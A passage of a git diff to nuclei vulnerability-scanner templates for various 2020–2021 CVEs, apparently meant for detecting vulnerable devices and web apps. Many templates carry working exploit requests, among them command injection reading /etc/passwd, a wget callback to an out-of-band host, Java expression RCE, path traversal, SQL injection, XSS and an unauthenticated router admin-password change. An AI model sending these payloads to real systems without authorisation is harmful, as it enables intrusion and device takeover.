internal: true + part: body + + - type: regex + name: nonce + group: 1 + regex: + - '_wpnonce=([0-9a-z]+)' + internal: true + part: body +# digest: 490a0046304402204bffb24bf04e56aff7c5c70589b7ecbf9c04db1c030e793573251a9f104c2e1d02207a1cb6691600aaceae61e38e6ec3a9e54d43209ae9a6a254ab763e9a2b031198:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-9054.yaml b/nuclei-templates/CVE-2020/cve-2020-9054.yaml new file mode 100644 index 0000000000..e9491963f0 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-9054.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-9054 + +info: + name: ZyXEL NAS RCE + author: dhiyaneshDk + severity: critical + description: | + Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device. + ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it. + If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device. + Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges. + As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges. + By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device. + This may happen by directly connecting to a device if it is directly exposed to an attacker. + However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices. + For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system. + Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2 + reference: + - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/ + - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml + tags: cve,cve2020,rce,zyxel,injection + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-9054 + cwe-id: CWE-78 + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/cve-2020-9376.yaml b/nuclei-templates/CVE-2020/cve-2020-9376.yaml deleted file mode 100644 index 5afd406fa5..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-9376.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-9376 - -info: - name: D-Link Information Disclosure via getcfg.php - author: whynotke - severity: high - description: | - D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. - NOTE: This vulnerability only affects products that are no longer supported by the maintainer. - - reference: - - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f - - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182 - - https://www.dlink.com.br/produto/dir-610/ - tags: cve,cve2020,dlink,disclosure - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-9376 - cwe-id: CWE-74 -requests: - - method: POST - path: - - "{{BaseURL}}/getcfg.php" - - body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 - headers: - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "Admin" - - "" - - "" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-9402.yaml b/nuclei-templates/CVE-2020/cve-2020-9402.yaml deleted file mode 100644 index 172130f2c4..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-9402.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-9402 - -info: - name: Django SQL Injection - description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL Injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL. - reference: - - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402 - - https://docs.djangoproject.com/en/3.0/releases/security/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-9402 - author: geeknik - severity: high - tags: cve,cve2020,django,sqli - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2020-9402 - cwe-id: CWE-89 - -requests: - - method: GET - path: - - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1" - - matchers: - - type: word - words: - - "DatabaseError at" - - "ORA-29257:" - - "ORA-06512:" - - "Request Method:" - condition: and diff --git a/nuclei-templates/CVE-2020/CVE-2020-9483.yaml b/nuclei-templates/CVE-2020/cve-2020-9483.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-9483.yaml rename to nuclei-templates/CVE-2020/cve-2020-9483.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-9484.yaml b/nuclei-templates/CVE-2020/cve-2020-9484.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-9484.yaml rename to nuclei-templates/CVE-2020/cve-2020-9484.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-9490.yaml b/nuclei-templates/CVE-2020/cve-2020-9490.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-9490.yaml rename to nuclei-templates/CVE-2020/cve-2020-9490.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-1498.yaml b/nuclei-templates/CVE-2021/CVE-2021-1498.yaml deleted file mode 100644 index cbdd0306b0..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-1498.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2021-1498 - -info: - name: Cisco HyperFlex HX Data Platform - Remote Command Execution - author: gy741 - severity: critical - description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. - reference: - - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-1498 - - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html - - https://twitter.com/Unit42_Intel/status/1402655493735206915 - - https://twitter.com/ptswarm/status/1390300625129201664 - - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution - - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-1498 - cwe-id: CWE-78 - tags: cve,cve2021,cisco,rce,oast,mirai - -requests: - - raw: - - | - POST /storfs-asup HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}` - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2021/CVE-2021-1499.yaml b/nuclei-templates/CVE-2021/CVE-2021-1499.yaml deleted file mode 100644 index 02678b971d..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-1499.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2021-1499 - -info: - name: Cisco HyperFlex HX Data Platform - File Upload Vulnerability - author: gy741 - severity: medium - description: A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user. - reference: - - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-1499 - - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz - - http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - cvss-score: 5.3 - cve-id: CVE-2021-1499 - cwe-id: CWE-306 - tags: cve,cve2021,cisco,fileupload,intrusive - -requests: - - raw: - - | - POST /upload HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Accept-Encoding: gzip, deflate - Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583 - Origin: {{RootURL}} - Referer: {{RootURL}} - - -----------------------------253855577425106594691130420583 - Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9" - Content-Type: application/json - - MyPasswdNewData->/api/tomcat - - -----------------------------253855577425106594691130420583-- - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "application/json" - part: header - - - type: word - words: - - '{"result":' - - '"filename:' - - '/tmp/passwd9' - condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-20031.yaml b/nuclei-templates/CVE-2021/CVE-2021-20031.yaml deleted file mode 100644 index 06b2a5b689..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20031.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-20031 - -info: - name: SonicWall SonicOS 7.0 - Open Redirect - author: gy741 - severity: medium - description: SonicWall SonicOS 7.0 contains an open redirect vulnerability. The values of the Host headers are implicitly set as trusted. An attacker can spoof a particular host header, allowing the attacker to render arbitrary links, obtain sensitive information, modify data, execute unauthorized operations. and/or possibly redirect a user to a malicious site. - reference: - - https://www.exploit-db.com/exploits/50414 - - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019 - - http://packetstormsecurity.com/files/164502/Sonicwall-SonicOS-7.0-Host-Header-Injection.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-20031 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-20031 - cwe-id: CWE-601 - epss-score: 0.0135 - metadata: - max-request: 1 - google-query: inurl:"auth.html" intitle:"SonicWall" - tags: sonicwall,redirect,edb,packetstorm,cve,cve2021 - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{randstr}}.tld - - matchers-condition: and - matchers: - - type: word - words: - - 'https://{{randstr}}.tld/auth.html' - - 'Please be patient as you are being re-directed' - part: body - condition: and - - - type: status - status: - - 200 - -# Enhanced by md on 2022/10/14 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20091.yaml b/nuclei-templates/CVE-2021/CVE-2021-20091.yaml deleted file mode 100644 index 6020c8d52b..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20091.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-20091 - -info: - name: Buffalo WSR-2533DHPL2 - Configuration File Injection - author: gy741,pdteam,parth - severity: high - description: | - The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution. - reference: - - https://www.tenable.com/security/research/tra-2021-13 - - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20091 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2021-20091 - tags: cve,cve2021,buffalo,firmware,iot - -requests: - - raw: - - | - GET /images/..%2finfo.html HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}}/info.html - - - | - POST /images/..%2fapply_abstract.cgi HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}}/info.html - Content-Type: application/x-www-form-urlencoded - - action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4 - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "/Success.htm" - - - type: status - status: - - 302 - - extractors: - - type: regex - name: httoken - internal: true - group: 1 - regex: - - 'base64\,(.*?)" border=' - -# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20124.yaml b/nuclei-templates/CVE-2021/CVE-2021-20124.yaml deleted file mode 100644 index 83e0c0386a..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20124.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-20124 - -info: - name: Draytek VigorConnect - Unauthenticated Local File Inclusion WebServlet - author: 0x_Akoko - severity: high - description: A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. - reference: - - https://www.tenable.com/security/research/tra-2021-42 - - https://www.cvedetails.com/cve/CVE-2021-20124 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-20124 - cwe-id: CWE-22 - tags: cve,cve2021,draytek,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd" - - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - "for 16-bit app support" - condition: or - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20150.yaml b/nuclei-templates/CVE-2021/CVE-2021-20150.yaml new file mode 100644 index 0000000000..deb050990a --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20150.yaml @@ -0,0 +1,64 @@ +id: CVE-2021-20150 + +info: + name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure + author: gy741 + severity: medium + description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page. + remediation: | + Update the router firmware to the latest version to fix the vulnerability. + reference: + - https://www.tenable.com/security/research/tra-2021-54 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-20150 + cwe-id: CWE-306 + epss-score: 0.14411 + epss-percentile: 0.95182 + cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: trendnet + product: tew-827dru_firmware + shodan-query: http.html:"TEW-827DRU" + tags: disclosure,router,tenable,cve,cve2021,trendnet + +http: + - raw: + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + + action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ftp_username' + - 'ftp_password' + - 'ftp_permission' + - 'TEW-827DRU' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + + extractors: + - type: regex + name: password + group: 1 + regex: + - '' + part: body + +# digest: 490a00463044022046aa199ad85133757e14eb580e9862b4e41bbef8b9ccca9b8a8807d4e9c3bd7402206bcef1ad451255b30a7ddb6567fe3de67ec1e2f13aee3d8e3c6196853b649663:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20158.yaml b/nuclei-templates/CVE-2021/CVE-2021-20158.yaml new file mode 100644 index 0000000000..2632506f0e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20158.yaml @@ -0,0 +1,63 @@ +id: CVE-2021-20158 + +info: + name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change + author: gy741 + severity: critical + description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command. + remediation: | + Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability. + reference: + - https://www.tenable.com/security/research/tra-2021-54 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-20158 + cwe-id: CWE-306 + epss-score: 0.01211 + epss-percentile: 0.83684 + cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: trendnet + product: tew-827dru_firmware + shodan-query: http.html:"TEW-827DRU" + tags: disclosure,router,intrusive,tenable,cve,cve2021,trendnet +variables: + password: "{{rand_base(6)}}" + +http: + - raw: + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + + ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}} + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + + html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id= + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'setConnectDevice' + - 'setInternet' + - 'setWlanSSID' + - 'TEW-827DRU' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100e15be90cc09aaee56da2b77c6275476abc1df590621971793c44acc377119b650221009fda9d977e8181205a88397c477647b5d3e8936dad723f338b0dc445eedded28:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20792.yaml b/nuclei-templates/CVE-2021/CVE-2021-20792.yaml deleted file mode 100644 index be8fe34461..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20792.yaml +++ /dev/null @@ -1,62 +0,0 @@ -id: CVE-2021-20792 - -info: - name: WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting - author: dhiyaneshDK - severity: medium - description: WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors. - impact: | - Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. - remediation: | - Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability. - reference: - - https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf - - https://quizandsurveymaster.com/ - - https://jvn.jp/en/jp/JVN65388002/index.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-20792 - - https://plugins.trac.wordpress.org/changeset?new=2503364%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php&old=2490516%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-20792 - cwe-id: CWE-79 - epss-score: 0.00183 - epss-percentile: 0.54675 - cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: expresstech - product: quiz_and_survey_master - framework: wordpress - tags: cve2021,cve,wordpress,wp-plugin,authenticated,wpscan,expresstech - -http: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin.php?page=mlw_quiz_list&s=">&paged="> HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a004730450220278c989b9dc1803a0640da64a5a9b5d1f8dc007e0d7b724e3218b431ffc98f2f022100f203b37e7d96545de9a199b34f1bab451c9ec9b3825d84d3ff9db7e9c3694bcd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-20837.yaml b/nuclei-templates/CVE-2021/CVE-2021-20837.yaml deleted file mode 100644 index c4ddf975d4..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20837.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: CVE-2021-20837 -info: - author: hackergautam - classification: - cve-id: CVE-2021-20837 - cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" - cvss-score: 9.8 - cwe-id: CWE-306 - description: "MovableType(MT) which is open source CMS is vulnerable to Unauth RCE.\n" - name: "Unauthenticated RCE in MovableType" - reference: - - "https://nemesis.sh/posts/movable-type-0day/" - severity: critical - tags: "cve,cve2021,movabletype,rce" -requests: - - - matchers: - - - condition: and - part: body - type: word - words: - - "root:x" - - - status: - - 200 - type: status - - - condition: and - part: header - type: word - words: - - text/xml - matchers-condition: and - raw: - - | - POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1 - Host: {{Hostname}} - User-Agent: PoC-RCE - Content-Type: text/xml; charset=UTF-8 - Connection: close - - - - - mt.handler_to_coderef - - - - - - YGNhdCAvZXRjL3Bhc3N3ZGA= - - - - - - - diff --git a/nuclei-templates/Other/minio-ssrf.yaml b/nuclei-templates/CVE-2021/CVE-2021-21287.yaml similarity index 100% rename from nuclei-templates/Other/minio-ssrf.yaml rename to nuclei-templates/CVE-2021/CVE-2021-21287.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-21311.yaml b/nuclei-templates/CVE-2021/CVE-2021-21311.yaml deleted file mode 100644 index ab4a64ef8f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-21311.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: CVE-2021-21311 - -info: - name: Adminer <4.7.9 - Server-Side Request Forgery - author: Adam Crosser,pwnhxl - severity: high - description: Adminer before 4.7.9 is susceptible to server-side request forgery due to exposure of sensitive information in error messages. Users of Adminer versions bundling all drivers, e.g. adminer.php, are affected. An attacker can possibly obtain this information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - reference: - - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6 - - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf - - https://packagist.org/packages/vrana/adminer - - https://nvd.nist.gov/vuln/detail/CVE-2021-21311 - remediation: Upgrade to version 4.7.9 or later. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.2 - cve-id: CVE-2021-21311 - cwe-id: CWE-918 - epss-score: 0.00278 - metadata: - max-request: 6 - fofa-query: app="Adminer" && body="4.7.8" - hunter-query: app.name="Adminer"&&web.body="4.7.8" - shodan-query: title:"Login - Adminer" - tags: cve,cve2021,adminer,ssrf - -http: - - raw: - - | - POST {{path}} HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}} - - redirects: true - max-redirects: 1 - cookie-reuse: true - attack: batteringram - payloads: - path: - - "/index.php" - - "/adminer.php" - - "/adminer/adminer.php" - - "/adminer/index.php" - - "/_adminer.php" - - "/_adminer/index.php" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "400 - Bad Request" - - "<title>400 - Bad Request</title>" - condition: or - - - type: status - status: - - 403 - -# Enhanced by md on 2023/03/13 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21479.yaml b/nuclei-templates/CVE-2021/CVE-2021-21479.yaml new file mode 100644 index 0000000000..e0c891203d --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21479.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-21479 + +info: + name: SCIMono <0.0.19 - Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and + execute java expressions and compromise the availability and integrity of the system. + reference: + - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-21479 + - https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2021-21479 + cwe-id: CWE-74 + tags: cve,cve2021,scimono,rce + +requests: + - method: GET + path: + - "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D" + + matchers: + - type: word + words: + - "The attribute value" + - "java.lang.UNIXProcess@" + - "has invalid value!" + - '"status" : "400"' + part: body + condition: and + +# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21745.yaml b/nuclei-templates/CVE-2021/CVE-2021-21745.yaml new file mode 100644 index 0000000000..c867bee9c3 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21745.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-21745 +info: + name: ZTE MF971R - Referer authentication bypass + author: gy741 + severity: medium + description: | + ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould + use this vulnerability to perform illegal authorization operations by sending a request to the user to click. + reference: + - https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1317 + - https://nvd.nist.gov/vuln/detail/CVE-2021-21745 + - https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1019764 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2021-21745 + cwe-id: CWE-287 + tags: zte,auth-bypass,cve,cve2021,router +requests: + - raw: + - | + GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1 + Host: {{Hostname}} + Referer: http://interact.sh/127.0.0.1.html + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - 'psw_fail_num_str":"[0-9]' + - type: status + status: + - 200 +# Enhanced by mp on 2022/05/21 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21799.yaml b/nuclei-templates/CVE-2021/CVE-2021-21799.yaml new file mode 100644 index 0000000000..44d996dca0 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21799.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-21799 +info: + name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting + author: arafatansari + severity: medium + description: | + Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the telnet_form.php script functionality. + reference: + - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21799 + - https://nvd.nist.gov/vuln/detail/CVE-2021-21799 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-21799 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"R-SeeNet" + verified: "true" + tags: cve,cve2021,xss,r-seenet +requests: + - method: GET + path: + - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Telnet " + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21801.yaml b/nuclei-templates/CVE-2021/CVE-2021-21801.yaml deleted file mode 100644 index 338eccbd88..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-21801.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2021-21801 - -info: - name: Advantech R-SeeNet graph 